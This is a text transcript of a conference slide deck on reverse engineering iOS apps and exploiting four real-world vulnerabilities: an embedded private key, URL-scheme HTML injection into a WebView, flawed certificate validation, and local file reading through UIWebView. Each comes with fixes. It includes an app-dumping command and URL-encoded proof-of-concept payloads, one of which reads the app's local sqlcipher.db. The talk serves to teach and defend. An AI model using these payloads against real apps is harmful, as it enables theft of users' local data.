Upload File

exploiting common vulnerabilities on ios apps · agenda • reverse engineering an ios app. •...

  • Home
  • Documents
  • Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)
82
Common Vulnerabilities on iOS Apps by ivan r QconSF @ivRodriguezCA

Upload: others

Post on 11-Jan-2020

8 views

Category:

Documents


0 download

Report

TRANSCRIPT

Page 1: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

Common Vulnerabilities on iOS Appsby ivan rQconSF

@ivRodriguezCA

Page 2: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

@ivRodriguezCA

Page 3: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

DISCLAIMER

the views and opinions expressed on this talk are solely my own and do not reflect the views or

opinions of my employer.

@ivRodriguezCA

Page 4: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

ivan_rodriguez.me• security researcher and software engineer

• focused on iOS reverse engineering and mobile bug bounty programs

• i blog at ivrodriguez.com

• find me on twitter : @ivRodriguezCA

• find me on github: /ivRodriguezCA

@ivRodriguezCA

http://ivrodriguez.com
Page 5: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

agenda• reverse engineering an iOS app.

• tools and methods.

• common iOS vulnerabilities (all found on real world applications).

• how to fix and prevent these vulnerabilities.

• resources / conclusions.

• questions.

@ivRodriguezCA

Page 6: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app• iOS apps are encrypted with an algorithm called FairPlay.

• we need a jailbroken device.

• we don’t “decrypt” the apps, we just dump them from memory.

• transfer them to a desktop where we do the reverse engineering.

@ivRodriguezCA

Page 7: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app• how we dump the app from memory?

> dump memory <filename> <start_address> <end_address>

@ivRodriguezCA

Page 8: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app• how we dump the app from memory?

> dump memory <filename> <start_address> <end_address>

• we can use tools to automate this.

@ivRodriguezCA

Page 9: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app• some of the tools we can use:

- dumpdecrypted: https://github.com/stefanesser/dumpdecrypted

- bfinject: https://github.com/BishopFox/bfinject

- frida-ios-dump: https://github.com/AloneMonkey/frida-ios-dump

@ivRodriguezCA

https://github.com/stefanesser/dumpdecrypted
https://github.com/BishopFox/bfinject
https://github.com/AloneMonkey/frida-ios-dump
Page 10: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app

@ivRodriguezCA

Page 11: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app

@ivRodriguezCA

Page 12: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app

@ivRodriguezCA

Page 13: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app• dynamic and static analysis

@ivRodriguezCA

Page 14: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app• dynamic and static analysis

@ivRodriguezCA

Page 15: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

reverse engineering an iOS app• dynamic and static analysis

@ivRodriguezCA

Page 16: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 1• searching through embedded files within the app

@ivRodriguezCA

Page 17: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 1

@ivRodriguezCA

Page 18: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 1private_key

@ivRodriguezCA

Page 19: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 1private_key

yes, PRIVATE key

@ivRodriguezCA

Page 20: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 1cloud server

@ivRodriguezCA

Page 21: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 1cloud server

@ivRodriguezCA

Page 22: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 1cloud server

@ivRodriguezCA

Page 23: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 1cloud server

ssh

@ivRodriguezCA

Page 24: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 1cloud server

ssh!

@ivRodriguezCA

Page 25: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 1cloud server own server

@ivRodriguezCA

Page 26: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 1cloud server own server

@ivRodriguezCA

Page 27: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 1cloud server own server

@ivRodriguezCA

Page 28: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 1cloud server own server

@ivRodriguezCA

Page 29: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 1cloud server own server

public api

@ivRodriguezCA

Page 30: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 1cloud server own server

ssh

@ivRodriguezCA

Page 31: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 1cloud server own server

ssh

@ivRodriguezCA

Page 32: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 2

@ivRodriguezCA

Page 33: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 2

@ivRodriguezCA

Page 34: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 2

@ivRodriguezCA

Page 35: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 2

@ivRodriguezCA

Page 36: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 2

@ivRodriguezCA

Page 37: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

@ivRodriguezCA

Page 38: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 2• coinza://news/<trusted-html>

@ivRodriguezCA

Page 39: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 2• coinza://news/<trusted-html>

- <html><body><script>document.location = ‘https://en.wikipedia.org/wiki/URL_redirection’;</script></body></html>

•

@ivRodriguezCA

Page 40: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 2• coinza://news/<trusted-html>

- <html><body><script>document.location = ‘https://en.wikipedia.org/wiki/URL_redirection’;</script></body></html>

coinza://news/%3Chtml%3E%3Cbody%3E%3Cscript%3Edocument.location%20%3D%20%27https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FURL_redirection%27%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E

@ivRodriguezCA

Page 41: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 2

@ivRodriguezCA

Page 42: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 2

!

@ivRodriguezCA

Page 43: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 2• URL Schemes + WebViews are dangerous and you should be careful

when you pair them.

• don’t load HTML code from user-controlled content.

• if you need to dynamically react to URL Schemes have a set of whitelisted actions.

@ivRodriguezCA

Page 44: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

@ivRodriguezCA

vulnerability # 3

Page 45: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

@ivRodriguezCA

vulnerability # 3

Page 46: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

@ivRodriguezCA

Page 47: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

@ivRodriguezCA

Page 48: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

@ivRodriguezCA

Page 49: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

== ?

@ivRodriguezCA

Page 50: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

✅

@ivRodriguezCA

Page 51: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

🛑

@ivRodriguezCA

Page 52: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

🛑

🚫

@ivRodriguezCA

Page 53: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

🛑

✅

@ivRodriguezCA

Page 54: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

🛑

website.com

@ivRodriguezCA

Page 55: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

🛑

username/password

@ivRodriguezCA

Page 56: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

🛑

@ivRodriguezCA

Page 57: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

@ivRodriguezCA

Page 58: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

@ivRodriguezCA

Page 59: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

detected connection to a website

@ivRodriguezCA

Page 60: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

creates fake TLS certificate

@ivRodriguezCA

Page 61: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 3

sniffs client traffic

@ivRodriguezCA

Page 62: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 3• vet and test your 3rd party frameworks, specially if they handle your

network requests.

• be careful when implementing your own certificate validation logic.

• if you want to implement HPKP you can use TrustKit:

- https://github.com/datatheorem/TrustKit

@ivRodriguezCA

Page 63: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 3

@ivRodriguezCA

source: https://cheatsheetseries.owasp.org/cheatsheets/Pinning_Cheat_Sheet.html

https://cheatsheetseries.owasp.org/cheatsheets/Pinning_Cheat_Sheet.html
Page 64: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4

@ivRodriguezCA

Page 65: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4

@ivRodriguezCA

Page 66: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4

@ivRodriguezCA

Page 67: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4

@ivRodriguezCA

Page 68: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4

@ivRodriguezCA

Page 69: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4• these methods are equivalent for local files

@ivRodriguezCA

Page 70: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4

@ivRodriguezCA

Page 71: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4

file: sqlcipher.dbpath: Documents/

@ivRodriguezCA

Page 72: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4

send file to aremote location.

@ivRodriguezCA

Page 73: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

vulnerability # 4• coinza://news/

%3Chtml%3E%0A%20%20%20%3Cbody%3E%0A%20%20%20%20%20%20%3Cscript%3E%0A%20%20%20%20%20%20%20%20%20function%20loadFile%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20xmlhttp%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20documentsPath%20%3D%20document.URL.split%28%27%2F%27%29.slice%280%2C%20-1%29.join%28%27%2F%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20filePath%20%3D%20documentsPath%20%2B%20%27%2F%27%20%2B%20%27sqlcipher.db%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.onreadystatechange%20%3D%20function%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28xmlhttp.readyState%20%3D%3D%204%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28xmlhttp.responseText.length%20%3E%200%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20alert%28%27Got%20file%20%5C%27sqlcipher.db%5C%27%2C%20size%3A%20%27%20%2B%20xmlhttp.responseText.length%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.onerror%20%3D%20function%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20alert%28%27Error%21%20%27%20%2B%20filePath%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.open%28%27GET%27%2C%20filePath%2C%20true%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.send%28%29%3B%0A%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20window.onload%20%3D%20loadFile%3B%0A%20%20%20%20%20%20%3C%2Fscript%3E%0A%20%20%20%20%20%20%3Cp%3E%0A%20%20%20%20%20%20%20%20%20Hello%20World%0A%20%20%20%20%20%20%3C%2Fp%3E%0A%20%20%20%3C%2Fbody%3E%0A%3C%2Fhtml%3E

@ivRodriguezCA

Page 74: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

@ivRodriguezCA

Page 75: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

how to fix vulnerability # 4• do not use UIWebView anymore, use WKWebView instead.

• if you absolutely have to use UIWebView:

- do not use - (void)loadRequest:(NSURLRequest *)request for local files.

- Use - (void)loadHTMLString:(NSString *)string baseURL:(NSURL *)baseURL with an URL object created with [URLWithString:@“about:blank”].

-

@ivRodriguezCA

https://developer.apple.com/documentation/foundation/nsstring?language=objc
https://developer.apple.com/documentation/foundation/nsurl?language=objc
Page 76: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

conclusions• add security assessments to your release cycles.

• keep your 3rd party libraries up to date.

• be careful copy-pasting code from online sources.

• have a public bounty program or at least public channels for responsible disclosures.

@ivRodriguezCA

Page 77: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

resources• OWASP - Mobile Application Security Verification Standard

https://github.com/OWASP/owasp-masvs

• OWASP - The Mobile Security Testing Guide https://github.com/OWASP/owasp-mstg

• Resources Page of my course https://github.com/ivRodriguezCA/RE-iOS-Apps/blob/master/Resources.md

@ivRodriguezCA

https://github.com/OWASP/owasp-masvs
https://github.com/OWASP/owasp-mstg
https://github.com/ivRodriguezCA/RE-iOS-Apps/blob/master/Resources.md
https://github.com/ivRodriguezCA/RE-iOS-Apps/blob/master/Resources.md
Page 78: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

resources• for a more detailed guide visit:https://github.com/ivRodriguezCA/RE-iOS-Apps

@ivRodriguezCA

https://github.com/ivRodriguezCA/RE-iOS-Apps
Page 79: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

@ivRodriguezCA

Page 80: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

@ivRodriguezCA

Page 81: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

questions?

@ivRodriguezCA

Page 82: Exploiting Common Vulnerabilities on iOS Apps · agenda • reverse engineering an iOS app. • tools and methods. • common iOS vulnerabilities (all found on real world applications)

thank you!

@ivRodriguezCA


Common BMC Vulnerabilities and How to Avoid Repeating Them

iOS App Security: Common Mistakes and Best Practices

CHARACTERISTICS AND COMMON VULNERABILITIES INFRASTRUCTURE

Table of Contents - Common Vulnerabilities and … Rules v2.0.d… · Web viewThe Common Vulnerabilities and Exposures (CVE) Program’s primary purpose is to uniquely identify vulnerabilities

Network security threats and mitigation Unit objectives Explain common threats and vulnerabilities Explain common mitigation techniques Categorize different

CHARACTERISTICS AND COMMON VULNERABILITIES INFRASTRUCTURE CATEGORY

Mountain Lion / iOS Vulnerabilities Garage Sale...Stefan Esser • Mountain Lion / iOS Vulnerabilities Garage Sale • April 2013 • posix_spawn() and Suid-Binaries • not exactly

An Overview of Common Vulnerabilities in Wordpress

The Vulnerabilities of Unmanned Aircraft System Common

Common Vulnerabilities and Exposures Project Report

Electric Sector Failure Scenarios Common Vulnerabilities ...smartgrid.epri.com/doc/NESCOR Common Vulnerabilities and Mitigat… · Failure Scenarios Common Vulnerabilities and Mitigations

CHARACTERISTICS AND COMMON VULNERABILITIES … · cabling can be found in Characteristics and Common Vulnerabilities, Infrastructure Category: Underwater Cables (Draft, December 15,

Common Vulnerabilities

CHARACTERISTICS AND COMMON VULNERABILITIES …info.publicintelligence.net/DHS-Hotel-CV.pdf · 1 CHARACTERISTICS AND COMMON VULNERABILITIES ... (e.g., car bomb, ... Figure 1 depicts

Less Known Web Application Vulnerabilities...Common Web Application Vulnerabilities • Cross Site Scripting • Cross Site Request Forgery • SQL Injection • Path Traversal •

iOS Apps in Common Core Advanced Academy Day 3

Common Challenges & Best Practices for TDD on iOS

PACE-IT: Common Network Vulnerabilities

Common Mistakes happens In iOS Development

iOS Apps in Common Core Advanced Academy Day 1

IOS Common Cryptographic Module (IC2M) - NIST · This is a non-proprietary Cryptographic Module Security Policy for Cisco’s IOS Common Cryptographic Module (IC2M) Version Rel 5,

Anatomy of a Logic Flaw - OWASP · 2020-01-17 · ©2012" Vulnerabilities • "Traditional" Vulnerabilities • Standardized definitions • Security requirements common to all applications

PRIORITIZATION TO PREDICTION - kennasecurity.com · PRIORITIZA TION 4 Data Sources This study focuses on the vulnerabilities described in MITRE’s Common Vulnerabilities and Exposures

Common Cybersecurity Vulnerabilities in Industrial Control ... · In 2009,a report titled “Common Cyber Security Vulnerabilities Observed in DHS Industrial Control Systems Assessments”

Common Cybersecurity Vulnerabilities in Industrial Control Systems

Common Cybersecurity Vulnerabilities in Industrial Control ...€¦ · vulnerabilities from general knowledge gained from DHS CSSP assessments and Industrial Control Systems Cyber

8 Most Common IT Security Vulnerabilities€¦ · 8 Most Common IT Security Vulnerabilities ... Penetration Tests, outline the ... service provider that has a Web Application Test

Common Cyber Security Vulnerabilities Observed in Control System

Common WebApp Vulnerabilities and What to Do About Them

Common Vulnerabilities and Exposures (CVE) Numbering ...cve.mitre.org/cve/cna/CNA_Rules_v2.0.pdf · Common Vulnerabilities and Exposures (CVE) Numbering ... The Common Vulnerabilities

Security Slicing for Auditing Common Injection Vulnerabilities › bitstream › 10993 › 29924 › 1 › jss2016.pdf · Vulnerabilities in Web systems pose serious security and

Ehi lH ki d Ethical Hacking and Countermeasures · • Identify Router • Identifyy ging Vulnerabilities • Exploiting Vulnerabilities in Cisco IOS • Brute-Forcing Services •

Electric Sector Failure Scenarios Common Vulnerabilities and ... Common Vulnerabilities and... · (6.2.1.1) workforce not trained in proper procedures workforce may be unaware of

Steve Kosten - Exploiting common web application vulnerabilities

Developing Web Applications Securely - How to Fix Common Code Vulnerabilities and Flaws